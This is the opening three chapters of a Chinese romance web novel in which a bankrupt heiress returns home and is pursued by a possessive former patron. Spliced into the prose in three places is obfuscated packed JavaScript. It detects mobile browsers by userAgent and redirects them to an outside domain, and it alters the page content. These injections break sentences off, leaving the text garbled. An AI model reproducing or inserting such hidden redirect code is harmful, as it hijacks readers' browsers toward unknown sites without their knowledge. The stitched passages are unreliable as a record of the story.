《白月光和她的囚徒》 1. 回国(1) #chapter1 沈泠泠下了飞机,拿好行李,独自从出口走出来。 飞机场宽阔、人群嘈杂,不少人摇晃着牌子等待。 身侧同飞机的女孩提着行李箱飞奔过去拥抱:“爸爸妈妈!” 那对年长的夫妻双双簇拥着女儿。 她视线多注视几秒,提着行李箱一路往前走。 直至她走出站点,不远处机场大厅的等候座椅旁,有个人站起身喊她:“沈泠泠。” 沈泠泠顿住。 阳光从机场的落地玻璃门直射进来,明晃晃地打在男人身上。 他个子很高,宽肩窄腰,一身笔挺的西装衬得身形越发修长。白衬衫的领口一丝不苟,暗红色的领带系得端正,浑身上下透着精英人士的干练。 周五下午这个点,他本该在公司开会,或者签文件,而不是站在机场大厅里。 周凛站起身,顺手扣上西装最下面的纽扣,动作干脆利落。 沈泠泠提着行李箱过去:“你怎么会来?” 周凛目光描摹她两年未见的眉眼,穿过座位,走上前,试图帮她拎行李箱:“我来接你。东西多么。” “行礼我已经托运了,我打车过去。” 周凛见她避开,没有强硬地夺,反倒挑挑剑眉的眉尾:“这个时候你打车,你确定了解国内的交通吗?现在正是高峰期。”他示意了下蜂拥出站的人群,“你排队要排起码一个小时才能坐进出租车。等出租车上路,又正好会遇到下班高峰期。从机场去市区会经过好几条拥堵路段,你起码会被困在路上三个小时以上。” “我打滴滴。” “门口滴滴也在排队,更何况坐我的车跟打滴滴有什么区别?”周凛盯着她的眼睛,这才伸手慢慢将她行李箱夺了过来,“还有其他行礼吗?” 沈泠泠摇了摇头:“没有了。” “住哪,房子找了吗?” “已经托朋友找了。在余燕路。” 周凛轻笑:“那你确实应该听我的。你在市中心的位置,打车碰上高峰期,没几个小时你到不了。走吧。” 说完,他转身往前,黑西装肩膀晃出一道弧线。 沈泠泠慢了两步才更上去。 周凛的车就停在出口不远处,走近时果然看见出租车等候区排起蜿蜒长队。 旅客们拖着行李在烈日下焦躁张望。 远处城市天际线高楼林立,高架桥上车辆首尾相接。 飞机场附近这么多楼和车。 两年没回来,城市又繁华了许多。 周凛打开车后备箱,放进她的银色小行李箱,捋捋袖口,又打开前车门,下颌微抬,示意她坐进来。 沈泠泠已走到车后座前,她原本是打算坐后座的,然而对方已开了门。 她便走两步,弯腰钻了进去,系上安全带。 周凛坐在主驾驶位,回头扫了眼她,确认她坐好后,这才发动引擎。 “你怎么知道我今天回国?”沈泠泠问。 “想打听一定打听得出来。” 沈泠泠沉默片刻。 周凛问:“冷么?”见她穿的是无袖的紧身白裙。 沈泠泠摇头:“不冷。”刚刚坐下让她头发垂落,她弯弯耳边的发,摇下半面车窗,凝视远处的都市光景。 国外两年,那边很多都是旧房屋。 出国后再回来,总觉得这里更崭新、更亮堂、更像是发达城市。 周凛余光注视着她的轮廓,抬起视线在车内后视镜上停驻了几秒,恰好碰到她转头,两个人相遇。 车拐了个大弯,两个人都没说话。 “你好像没怎么变?”周凛的手指在方向盘上点动着。 “两年,变不了多少。” “你父亲的病好些了么。” “嗯。稳定了。我妈在那边照顾他。” 沈泠泠开了车窗,风把她身上淡淡的香水气息吹拂到他鼻尖。 她一向不喜欢用浓烈香水,只喜欢浅淡的。 桂花,橙花,乃至梅花…… 非要凑近才能闻到,闻到时又总带有她身上一丝曼妙的气味。 不仅是香水,有时候她光是洗过头洗过澡身上的洗发水、沐浴露,乃至精华水之类的气息都很好闻。 他很喜欢闻。 时不时总凑在她脖子间,从身后环住她的腰闻她的发,在床上也会低头轻嗅她的胸口和肩膀。 以前那些耳鬓厮磨缠绵交融的画面侵入脑海。 随着再次转外,左边后视镜里映出周凛喉头微动。 沈泠泠又回过头看风景去了。 她大概不知道他在想什么。 她向来话很少,不怎么喜欢跟人聊天,快进入市中心,他才又再次开启话题:“饿不饿,要不要吃点东西?” “不用了。” “吃点,你租的是新房子,回去后难道能自己做饭,还是点外卖?晚上独居女性点外卖不安全不是么?不如跟我一块儿吃些。想吃什么?日本菜、湖南菜,还是粤菜,我记得你喜欢吃广东菜?” 说着他已经开满速度,巡视街边。 周凛是成功的商人,总是能给出令人无法拒绝的理由。 说时,他已经停在他们以前经常去的粤菜馆“四季如春”面前:“你很久没有吃粤菜了吧,不想了吗?” 沈泠泠点点头:“行。就吃这里吧。” 周凛一笑,倒车入库,彻底挺稳后,带她下车。 两年不见,店员也换新了,不认识沈泠泠。 周凛一进去店员就招呼他,极为熟悉。 两个人进去春字间包厢,服务员分别给他们都上菜单,并端上饮料。 周凛整点菜,瞥见身侧放下的橙汁,忽地想起什么:“给她新鲜的椰子汁。” 沈泠泠握住:“没关系,橙汁也行。” 周凛继续道:“给她椰子汁。” “好。”男领班连忙让女服务员去拿椰子汁,站在旁边耐心等候他们点菜。 周凛问:“我没什么想吃的,想吃什么?” 沈泠泠确实很久没吃到粤菜馆了,国外的都不正宗。她回来有很大一部分原因,确实是无法适应那边的气候、饮食还有交际。 她低头扫过这家熟悉粤菜馆的菜单。 “养生青头鸭冬瓜盅、焖萝卜、蜜汁叉烧、蒜蓉粉丝蒸沙蚬、生炒糯米饭。” 周凛笑了一下:“看来你是真饿了。” 中午的飞机餐她没怎么吃,所以说饿也是饿,说忍也能忍。她端起橙汁抿了口,没多久,服务员就端上来椰子汁,放上了吸管。 沈泠泠放下橙汁,低头呷住吸管。 周凛瞥见她唇极为柔软,忍不住怀念印在那张唇上的感觉,心一动,拿起橙汁又喝了口。 等她吃完后,周凛才道:“回国后有什么打算吗?” “找工作,上班。” “这样啊,上什么班?” “钢琴能找的工作不多,也许去当个钢琴老师吧。不过我不太喜欢教很多小孩,所以应该会去当个私教。” “要不要我帮忙?” 沈泠泠摇摇头:“不用。房子不都是你帮忙找的吗?”能够知道她租的是新房子。 周凛耸肩笑笑:“正好听到王琪说你想回国找房子。你一个单身女孩找房子是要紧事。住得不好被扣钱是小,怕的是有人身安全问题。这片我熟,我就帮你找了。这房子是我朋友的,全新装修,环境也不错,跟物业也认识。可以特殊关照你,快递可以帮你拿上去,东西坏了有专门的人修,省得不三不四的人来骚扰你。” 沈泠泠盯着他许久:“谢谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459204|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周凛凝视着她:“你跟我之前,谈什么谢谢,要真想谢谢——” 服务员开门进来,打断了他们的对话。 沈泠泠又喝了一口椰子汁。 菜上了,两个人开始吃东西。 点的都是大鱼大肉,沈泠泠默默一小块一小块吃着,不怎么发出动静。她不喜欢有人给她夹菜,他也没给她夹菜。 只是在椰子汁被她喝光的同时,又让人加了一道。 周凛瞥她好几眼,又开始没话找话:“这次回国后还打算再离开吗?” “不确定。”毕竟她爸爸妈妈目前都还在国外。 “有在这里结婚生子的想法吗?” “看情况。” “那考虑找个男朋友吗?”周凛直接地说。 沈泠泠沉默一段时间轻声道:“我回国不是来谈恋爱的。我只是想要回熟悉的地方。” 周凛点点头:“抱歉。” “没关系。” 两个人吃到了七点多,沈泠泠走出来时见夜幕降临,也跟她在路上渡了三个小时差不多了。 周凛送沈泠泠到了小区楼底下,替她拿出行李箱。 “晚安。”沈泠泠说了句。 夜色沉沉,树影婆娑,这时候小区竟然没什么人。 “泠泠。”周凛忽然低声唤她。 四周寂静,只有草丛里的虫鸣此起彼伏。 他向前迈了一步,距离骤然缩短,近到她能闻到他身上淡淡的雪松气息。 沈泠泠站在原地没动。 他垂眼,伸手替她拢了拢耳边的碎发:“这两年,你不寂寞吗?” 手掌顺着她的发丝缓缓下滑,呼吸渐渐逼近,温热的气息拂过她的鼻尖。 他的唇要贴上来——这距离、这温度,沈泠泠太知道他下一步要做什么。 “你再往前一步,我们以后就不要再见了。” 周凛动作一顿,几秒后,他慢慢收回手,嗓音低哑:“好,是我太急了。”他后退两步,抬手整了整西装领口,神色已经恢复如常,“你先进去休息。” 沈泠泠没说话,提着行李箱转身离去。 她站在电梯口。 有人进去,见她拉着行李箱,一直站在边上。 对方按住电梯门开关:“你不进来吗?” 沈泠泠:“不进去。谢谢。” 直到过了半个小时,她小心地走到小区门外,周凛的车不见了。 夜风微凉,路灯在水泥地上投下长长的影子。抬头望去,不远处一座灯火通明的大酒店矗立在夜色中。 与此同时,周凛正在回城路上。 车载显示屏亮起,杨丰的来电跳动着。他按下接听键,对方的声音在车厢内响起。 “你朋友今晚没入住啊。” 正好遇上红灯,他踩下刹车,眉头不自觉地皱起:“怎么会?” “物业管理员说一直没看到人。她都等很久了,就说要不要帮忙拎行李打扫房间。不过看到一个年轻女孩提着行李箱进来后等了一阵又离开了。” 周凛喉结动了动:“好。我知道了。” 他不耐烦扯扯领带,是因为知道房子是他帮忙找的,才不住的么。 早知道就不告诉她了。 他拿出手机,发了个语音:“告诉我你在哪?” 已经知道她不会轻易回答的习惯,他继续说:“你要是不告诉我具体位置,别怪我今晚上按你被拐卖了处理,满世界找你。你不想住我也不能硬拖你住,我只是担心你的安全。” 过不久,照片里酒店旋转门映着璀璨的水晶灯光:已经到酒店办理入住。不用担心。 周凛盯着屏幕看了几秒,拇指重重按下三个字:那就好。 几乎同时,又一条消息弹出。 沈泠泠:房子退了吧。谢谢你的好意。 2. 回国(2) #chapter2 周凛盯着手机屏幕。 远处交通灯由红转绿,他垂眸,回复一个字:好。 引擎重新发动,黑色轿车无声地滑入夜色。 半小时后,车驶入腾行大厦地下车库。 腾行大厦。 这座玻璃幕墙的庞然大物此刻依然灯火通明。 整栋楼几乎全是互联网公司。 亮灯率比周边住宅区还要高。 “越来”公司位于腾行大厦的最高两层。 周凛偏好这种居高临下的视野。 电梯是全透明的观光梯,上升过程中能将每个楼层的忙碌景象尽收眼底。 25层办公区只剩零星几个加班的员工——金融行业的好处就是随时随地都能工作。 而26层,几乎是他一个人的领地。 两百平的空间被分割成简洁的办公区、会客厅和休息室。 落地窗外,城市夜景比白天生动得多。 璀璨斑斓。 周凛从冰箱取出威士忌,冰块在琥珀色液体里碰撞出清脆声响。他的享受向来简单直接。 端详许久后,他的目光不自觉地落向城市某处——方才送沈泠泠回去的方向。 以她的习惯,选的酒店应该就在那附近。 她向来讨厌打车,更不会开车。 ——终于回来了,他还以为她永远都不会回来。 威士忌见底时,周凛回到办公桌前处理文件。 直到十点整,他才关灯离开。 电梯下行时透过玻璃看见25层还有人在加班,他按下开门键,声音在空旷的电梯间里显得格外清晰:“早点回去休息。” 两个员工点点头:“好,周总。” 等周凛的电梯下行后,他们才低声讨论:“周总今天居然回家了?他不是常年睡办公室的吗?” 黑色轿车在夜色中滑过两条街,停在一栋花园洋房前。 周凛按下密码。 门锁转动的咔嗒声在寂静的夜格外清晰。 推开门,橙花的清香扑面而来。 这味道两年未变——自从沈泠泠离开后,这房子就一直空着,只让保洁每周来两次,每次都按她喜欢的味道更换熏香。 周凛的手指抚过玄关的木质摆台,上面连灰尘都没有。 他缓步走向卧室,灰蓝色的床单平整地铺在床上,那是沈泠泠最喜欢的颜色。 自从她走后,他没有动过这里任何东西,只偶尔来睡一两回。 他目光一一扫过沙发,茶几,还有卧室……曾经他们在这间房子里做过很多次,有时在床上有时在沙发,有时开灯有时不开灯,有时开窗有时不开窗。 ……记忆如潮水般涌来,他喉结微动。 手指拂过床铺上的枕头,这里的所有东西都在等他回来。 如他一样。 沈泠泠回来了。 想到这,周凛微微地笑起来。 沈泠泠从酒店雪白的大房间里醒过来。 阳光先是叫醒了她的眼皮,再叫醒了她。她完全没有拉上落地窗帘。 故意没拉的。 刚从国外回来,需要倒时差,不如选择最古老的方式——让阳光叫醒。 她在床边呆坐了几分钟,等混沌的思绪渐渐清明,才起身走向浴室。 她简单洗了一个澡,再对着镜子简单化了个淡妆,下楼吃完早餐后,回到房间。 她打开行李箱,开始挑选面试要穿的衣服。 叮—— 床上的手机响起提示音。 沈泠泠起身,坐在床边,打开,发信人是王薇。 王薇:泠泠,今天面不成试了。我嫂子娘家临时有事,今天要回去。 沈泠泠:没关系,我刚回国时间很灵活。你确定好新时间通知我就好。 王薇:那就好。 聊天很快就结束了。 沈泠泠轻轻呼出一口气,转身看着摊开的行李箱。 既然不用面试,正好省去了挑选正装的麻烦。 她随手拎出一件连衣裙——简单舒适,正适合今天看房。 换好衣服,她坐在床边打开小红书搜索:租房攻略。 以前没租过,两年后回国又有些陌生,在国内也没什么亲人可以帮忙,找王琪又容易被周凛知道。 还好她在国外就知道小红书找攻略很有用。 小红书上的攻略很多,沈泠泠看了几篇大致了解了流程和注意事项。 她尽量搜昨天那个小区里的房子——之前确认时,王琪是把拍了视频里里外外都给她看了的,包括环境交通都一一讲述。 因为很满意,她才在回国前定下。 现如今行李还在托运路上,明天就要到了。 她得赶紧找好房子,改地址,让转送过来。 看中了几间房,环境都很不错。找房东会更便宜,不过她有点儿急的话估计很麻烦。还是找中介吧。 她收藏关注,下载了一个租房软件的官方app,一旦点了对某房子关注,立马有人私信她:你好,请问是对这套房子感兴趣吗? 沈泠泠:嗯。我想看看房子,今天有时间吗? 对方:可以。我们公司就在这附近,您要是想看房直接来,我在这等您。 对方报出一长串号码。 沈泠泠:好。 她深吸一口气,再稍微拾掇下离开酒店出去。 那个新小区就在酒店附近,正好她也可以自己看看地理环境。 初夏的风带着微微燥热,她沿着导航指引步行前往。 这个小区确实如王薇所说,地处市中心却闹中取静,附近就是各大商超,一应俱全,一楼是公共区,有公用的体育馆和游泳馆。 刚走到约定楼栋前,一个穿着深蓝西装的年轻男子快步迎上来——胸前别着中介公司的工牌。 “沈小姐?”对方上前主动打招呼,“你好,我是中介公司的中介小刘。这片区的房东大多在国外,或者换了住处不常回来,所以都由我们公司代为服务,我们公司就在西门那边看得到。您看中的是4栋那套吧?现在就可以去看房。” 沈泠泠点点头:“好。” 跟着中介往4栋走时,沈泠泠注意到每栋楼门口都设有保安岗亭。中介熟络地和值班保安点头打招呼,转头解释道:“这里安保很严,每栋楼都有专人值守,陌生人进不来的。” “房子在六楼。”中介边说边带沈泠泠坐上电梯,“你看一楼也到处都是监控。电梯里也有。” “到了,601。”中介说着,带沈泠泠上前,按下指纹打开房门,“房东信任我们,所以让我们录了指纹,你要是自己住可以改指纹和密码。” 他说完,站在门口特地推开门用东西挡住,道:“沈小姐可以随意看房。我们公司规定带女租客看房需要开门。” 倒是很细心。 “您随意看。”中介抵住门才走进,站在客厅中央比划着,“这套90平,两室一厅的格局。主卧带飘窗……” 沈泠泠环顾四周,她是转么找了套跟之前王琪发过来格局很像的房子。 但这房子,实际看起来却远没有照片上那么宽敞明亮。 明明是大白天,客厅却显得有些昏暗,阳光像是被什么挡住了似的。 忽然,楼上突然传来“哐当”一声巨响,像是重物砸在地上的声音。中介面不改色地笑笑:“可能是谁家东西掉地上了。” 中介问:“沈小姐预算大概多少?” “3000左右。” 中介脸上闪过一丝微妙的表情:“这个价格……恐怕连这套都租不到。”他指了指脚下,“就这套因为楼层低、采光差,最便宜也要6000。” “app显示是3000?” “那估计是搞错了。只有一室一厅的才可能是3000。”对方面不改色地说。 “那一室一厅呢?我的预算最多4000。” 中介思索片刻:“倒是有几套,要么在顶层,要么位置比较偏。”他掏出手机划了划,“我带您去看看。” 沈泠泠点点头:“好。” 两个人重新走回电梯中,沈泠泠问:“十栋那边9层是不是也在出租?” “唔,这个我倒不知道。估计是业主自己出租。小区里想通过中介出租的基本在我们公司,因为我们公司就在楼底下比较靠谱,什么维修、麻烦之类的,交给我们,从来不劳烦业主和租客。” “那边租房多少钱?” “那栋是景观最好的,附近就有个湖,从后门出去就连通公园。如果装修很好的话,两室一厅没有一万拿不下来。” 沈泠泠垂眸。 王琪给她介绍的那套,就是两室一厅,十栋九层。 虽然她看到的也是视频,却因为王琪是实地让人拍摄,里里外外都拍了,不是视频app那种刻意找的角度。所以无论是格局、采光还是位置都比这好得多,报价却是——两千。 她也有犹豫过,市中心两室一厅的新房子能这么低吗? 王琪说是因为疫情房子都降价了。房东着急租。 现在想来是太天真了,那个地段那个设施和装修,就算房东着急租都不可能是两千。 “这片一室一厅的房源确实不多。”中介带着沈泠泠一连看了几套都不太理想。最后来到顶楼,钥匙转动时发出清脆的咔嗒声。 “这套是开发商后来加建的,朝向不错,就是因为是顶楼,价格便宜些,只要三千五。”中介边说边推开门,阳光立刻倾泻而入。他暗自打量着这位挑剔的客户——年轻漂亮的姑娘,眼光倒是出奇的高。 沈泠泠走进屋内,指尖轻轻抚过雪白的墙面。这套房子虽然不大,但胜在全新未住过人,采光也好。窗外能看到不远处的水榭人家高档住宅区,绿树环绕的楼栋在阳光下闪闪发亮。 “附近当然还有更便宜的,”中介耐心解释,“但地段肯定没这边好。从这里地下室直通商场,周边配套设施一应俱全……” “就这套吧。”沈泠泠突然说。 中介怔了怔:“你确定?这套虽然便宜,但到底还是小了点。要不你到11楼那栋,视野更好。你是一个人租,房东会好说话,我帮你砍点价?” “不用了。”沈泠泠摸了摸雪白的墙壁,“这套新,没有人住过。”虽然楼底下有装修更好的,但她不太喜欢有人住过的房子,“最重要的是隔音。我弹钢琴,不想吵到别人。” 虽然一路上没说,但她认为这里房子隔音不算太好。 要是动静太大,难免会听到。她是怕吵的类型,弹钢琴又是随时随地,有时候半夜睡不着也会弹,她着实不想打扰别人休息。 目光落在那个小巧的阳台上——那里正好能放下她的三角钢琴。 夏天来了,露天弹钢琴也不错,这层就两户,互相背对着,完全不用担心会吵到别人。 除了……她回过头,房里面确实有点小。 既然她给不出更多房租预算,那也没办法。 只能舍一取一。 中介眼中闪过一丝诧异,随即露出赞赏的神色:“沈小姐真是难得,现在租客都只顾着自己方便,很少会这么为邻居着想。您什么时候入住呢?” “我想今天就定下来,可以吗?” “可以。房东很好说话的,我现在就给你打电话。” “好,谢谢。” …… 上午的阳光透过中介店的玻璃门洒进来,沈泠泠签完合同。 半年租期,但她心里已经做好了住更久的打算——只要工作稳定的话。 刚走出店门,手机就震动起来。 她接通。 来自王琪: “亲爱的,你回来了吗?出来吃个饭吧!” 两人约在商场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见汪棋吃得差不多,沈泠泠起身:“我去上厕所。” 她去前台付费。王琪帮忙理当她请客。 一顿西餐吃掉两千,加上今日房租的押一付三,加上中介费,快两万出去了。 王琪吃完后勾住她胳膊:“走吧,我们去逛街。蒂凡尼出了新品,我们去看看。” 两个人去首饰店。 “许君辉最近简直工作狂,天天加班到半夜。”王琪对着镜子调整项链角度,镶满碎钻的链子在她颈间闪闪发亮,“你看这款怎么样?就是设计太素了……”售货员小跑着取来当季新款手包,王琪立刻接过来挎在臂弯,在镜前转了个圈,“这个月刚到货的限量款,你要不要试试?” 沈泠泠摇头:“不用。” 她回头:“你真不买啊。”她像是想起什么,勾住她胳膊,“我送你两件,不要紧的,随便挑。” “我真不用。” “好吧。下次一起去香港,那边货色更齐全。” 沈泠泠看着王琪在柜台前兴致勃勃地试戴新款钻石手链。 “真不买啊?”王琪转头又问了一遍,见沈泠泠还是摇头,她突然压低声音:“周凛之前……难道没给你钱吗?” 见沈泠泠没回答。 王琪似乎意识到说错话,赶紧挽住她的胳膊:“哎呀,我就是随口一问。走,我们去喝下午茶,我知道有家新开的店……” 就在这时,她电话响了。 “喂,你在哪,楼底下……行行行,我马上过去。”王琪一边接电话,一边指挥售货员这几件都要了,她聊着天娴熟地刷卡,那张黑卡在POS机上轻轻一划就完成了六位数消费。 等售货员打包好递给她,她才挂断电话转身:“许君辉来接我了,你住哪,我让他一块儿送你回去。” “我想再逛逛。” “行。那我就先走了。”说罢王琪拎着大包小包离去。 顶楼是奢侈品专场,空气里飘着淡淡的香水味,沈泠泠走过爱马仕橱窗时。一位柜姐突然从专柜里探出身:“沈小姐!好久不见,不进来看看吗?” 沈泠泠只微微一笑,摇头,继续前行。 “你不知道沈家破产了吗?” “什么时候?” “之前她爸爸公司破产,好多人跑过去拉横幅维权,你没看到吗?到处都是新闻。 …… 沈泠泠坐扶梯下去。 到三楼的女装店里看衣服,她确实需要几件正装面试。 “小姐,你好。想要什么可以试试,你这么窈窕漂亮,穿什么都好看。” 售货员都惯常会说话。 沈泠泠手摸着雪白衬衫的布料。 周凛确实给了她钱,不仅帮她解决了沈家破产问题,也给她付了爸爸的医药费,连出国也给了她钱。 只不过她钱都留在爸爸妈妈那,他们在国外,光是租房子找保姆还有每月去医院就是不小的开支。这笔钱能帮他们安享晚年。 她只带了二十万回国。 没想到国内消费很高,用得很快,她得早点确定工作。 刚想着,沈泠泠的指尖在衬衫布料上微微一顿。 身后熟悉的阴影笼罩下来,带着淡淡的气息——也说不清具体什么气味。但她知道是谁。 那三年内,他总是这样站在她身后,很快便会贴上来。 以至于她看不到人,光凭影子,气息,感觉,便能用身体第一反应确认出是谁。 “这件不错。”骨节分明的手从她肩侧伸来,修长的手指捏起衬衫的另一角。 沈泠泠没有回头,但能感觉到他胸膛的温度隔着空气传来,低沉的嗓音就在她耳后。 他是妖怪么。她心想。 为什么她到哪,他总能找到哪。 3. 回国(3) #chapter3 “你是在我身上装了监控吗?”沈泠泠问。 “要是能装监控倒好了。”周凛嘴角噙着笑,神情自在地伸手取过那件衣衫,指尖轻轻抚过衣料,“很合适你。” 沈泠泠不置可否地收回视线,脚步轻移,继续沿着衣架慢慢踱步,手指随意拨弄着悬挂的衣角,神色淡然。 周凛将衣服重新挂好,不紧不慢地跟在她身后,皮鞋在光洁的地砖上发出清晰的声响。 像是解释,他语气平静地说:“我今天正好跟许君辉谈事情,就在这附近,正好碰到王琪,她说你在这。” “嗯。” “听说你房子找好了?” “找好了。就在你之前为我找的那个小区里。”沈泠泠倒也没排斥告诉他,他迟早能打听清楚。 周凛点点头:“那里环境是不错。” 沈泠泠端详一件淡紫色的衣服:“你今天不上班么?” “今天周六。”周凛轻笑,眉梢微挑。 “以前周末你也不经常在公司?”沈泠泠将衣服挂回去。 周凛莞尔,微微偏头看她,眼底闪过愉悦:“原来你还记得我的习惯。” 沈泠泠没有回答这句话,手指无意识地摩挲着衣架边缘。相处三年,很多事是不容易忘记的。 周凛跟在身后走了几步,皮鞋声踏在光滑的瓷砖上,他忽然开口,声音低沉:“你讨厌我么?” 沈泠泠动作顿了顿。 讨厌么。并不会。 从沈家破产开始,她便见识到了真正的世界。 为了筹钱还供应商还有支付父亲的药费,她卖掉父亲送给她独立别墅。 蛮多人有兴趣。 有个原本关系不错的朋友说她可以立刻买。 因为是朋友,她没有再让别人看房。 可对方看房时,眉头就没舒展过,挑剔这里陈旧,那里需要翻新,最后硬是把谈好的四千万压到了三千五百万。 中介告诉过她,要是能等几个月慢慢卖,五千万也不是问题。 凭心而论,急卖的话确实不能以市场价来算。 只不过真正的朋友不会趁这个时候砍价,反而会故意给高点——至少沈泠泠会这么做。 以及…… 当她需要钱时,很多人都流露出可以“帮助”她的意思。 那些在外风流混乱的公子哥、朋友的老公,乃至他父亲两位生意场上的朋友,她可以叫作伯伯的人。 他们提出的“帮忙”,是想用一个月十几万金屋藏娇。 以为她只是想要维持以前那种奢侈的生活。 可奢侈生活对她而言,从来没那么重要。 更何况,是用这样的方式去换。 律师说过,公司申请破产后,债务不会牵连到他们个人。 最初她也这么打算——家里虽然什么都没了,但她还年轻,总能靠自己活下去。 可每次坐车经过公司旧址,她总能看到那些堵在门口的人。 沈家的木材生意做了几十年,从爷爷那辈传下来的基业,在业内素来有口皆碑。 这次资金链断裂,受冲击最深的不是那些新合作的商家,反倒是那些最信任“沈氏”的老伙伴——他们分布在偏远山区,有些甚至还在用最原始的方式生产木材,因为交通不便、信息闭塞,连沈氏倒闭的消息都是最晚知道的。 他们只能大老远坐车过来公司看情况,有些甚至还不相信沈氏倒闭了。 沈泠泠至今记得,那天在公司门口看到的场景。 那些从全国各地赶来的厂商,举着皱巴巴的供货单,在寒风中瑟瑟发抖。他们中的很多人,即便没收到货款也依然坚持供货,只因为相信“沈氏从不拖欠”这块金字招牌。 人群中,有个还是她爷爷战友的儿子。 小时候爷爷有回带她去林场玩,那位爷爷跟爷爷聊了很久的天,讲了很多过去的事,战友各自的情况,见她年龄小还特地给她讲在林间抓兔子的故事。树屋狭小简陋,眼前的茶水热气腾腾,她坐在爷爷腿上听得津津有味。 那个老爷爷胡子发白,后来他儿子进来给他们送吃的。 他浑身皮肤黝黑,她记得很清。 那天他站在公司门口,没有喊,只是抹着眼泪,像是无法接受这件事。 如今网络和金融行业发达,实体行业早已是利润微博的行业。 公司被人做空,股市大崩。她爸爸私下变卖了很多资产和股份,想要支撑公司,可最后还是无力回天,以至于想要再解决最下游拖欠款的问题,已经彻底没钱了。 更何况他还脑溢血,外加心脏病,昏迷后又检查出癌症,简直一团乱。 沈泠泠不是没想过接手公司。 可她这个从小学的全是油画钢琴之类的艺术,连最基础的资产负债表都看不懂。 周凛是唯一真心实意且有能力帮助沈泠泠的人。 虽然他搞金融,可是家里也有实体企业的经验,注资后很快稳定住了局势,也会很快进行资源整合,偿还了下游的欠款。 虽然公司还是会倒闭,但至少沈家没那么愧对天地良心。 周凛干净,没什么乱七八糟的情史,单身。 而且他喜欢她。 沈泠泠一直知道他喜欢她。 “没有。我不讨厌你。”沈泠泠终于转过身,面对他,她不会讨厌真正帮助过自己的人,即便他索要了代价。 “那就好。”周凛嘴角微微上扬,“待会儿打算去哪儿?” “估计回去吧。” “工作呢,有眉目了吗?”周凛又问。 “在等面试。你不用帮我,我这次回来,是想自食其力。”她很认真地说。 其实她已经被保护得够久了,这么大了,连房子都没租过。 竟然相信两千能够租到市中心两室一厅。 以前生活是过去,应该早点去过目前匹配的生活。 “我没不让你自食其力。”周凛眼眸柔情,“你不住那个房子我没说什么。你工作我也没有插手。我的意思是,必要时你可以找我帮忙。” 从进来开始,周凛的视线一直牢牢落在她身上,如芒在刺,简直令人无法忽视。 “你应该找份正常的男女朋友关系。” 体验普通的谈恋爱关系,满足正常的生理和情感需求。 不然,为何两年过去了,还会跟在自己身后? 且总散发出一种……欲望。 周凛挑眉,黑眸直勾勾盯住她眼睛,目光灼灼,似要把她看穿:“我们之前不算是男女朋友吗?” “不算。”她轻轻地道,“我要回去了。” 沈泠泠离开商场步行去住处,没多久,接到货运电话,车已经到了。 正好到楼下碰面。 别的行李都好搬运,唯独那架三角钢琴,成了个大难题。 横着抬进去,电梯门关不上; 竖着抬进去,沈泠泠看着又直皱眉:“这样会刮掉漆的。” “那也没办法,电梯有点太小了。” 沈泠泠摇头,这家钢琴从小就跟她一起,就像是亲人,她实在舍不得磕碰一丝一毫:“可以从楼梯抬上去吗。”考虑到抬上去,而且她还是顶楼,“我加钱吧,不着急,慢慢抬。抬一阵歇一阵就行。” 按照一层六十的价格,加了一千二,沈泠泠一路跟着他们上楼。 她这架钢琴确实是大的钢琴,实在是过于重,四位师傅累得气喘吁吁,沈泠泠本意是不着急慢慢抬,但是四位师傅估计赶着去赚钱,只歇了一趟便抬上去了。 好在房间门够大,钢琴能够顺利运进去,沈泠泠这才彻底松了口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459206|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她赶忙蹲下身子,拆开钢琴的木箱,眼睛紧紧盯着每一处,仔细检查着钢琴有没有在搬运过程中受到损伤。确认无误后,她才在微信上支付了费用。 “多谢。辛苦几位。”沈泠泠真诚地说道。 “不客气。”那些师傅擦擦额头的汗,便匆匆离开了。 屋子里顿时安静下来,只剩了她一个人。 她轻轻吐口气。 满屋子的行李,确实有点多。 包包她只留了几个,其余基本都卖了。 衣服鞋子穿过了也卖不了多少钱,她索性留着,也好出席一些正式场合,省得再新买。 再之后是这个大块头钢琴。 跨国寄行李,尤其是寄钢琴的费用,再加上搬运,又花了好几千。 她微微叹息,钱是真的不经用。 有这台钢琴,她以后搬家也要慎重考虑。 不过那都是以后的事情。 沈泠泠从一旁找出干净的专用毛巾,开始一点一点仔细擦拭钢琴。 阳光透过阳台洒进来,外面是下午慵懒的时光,琴键在她的擦拭下漾出柔和的微光,她不经意地笑了一笑。 保养自己的心爱之物,会让她心满意足。 稍后,她搬来一把椅子,坐在钢琴前,轻轻按下几个琴键试音。 钢琴没有彻底放在阳台里,怕被风吹雨打,而是放在阳台附近。 满地杂乱,钢琴却那么庄重地停留在这里。 沈泠泠脚踩着踏板,纤长的手指轻轻贴在上面,灵动地跳动,弹奏一曲《水边的阿狄丽娜》。 BalladepourAdeline。 金光粼粼下,行走在水边的曼妙少女。 指尖翻飞,她的心境开始平静:无论世界如何嘈杂,人总会找到自己的容身之处。 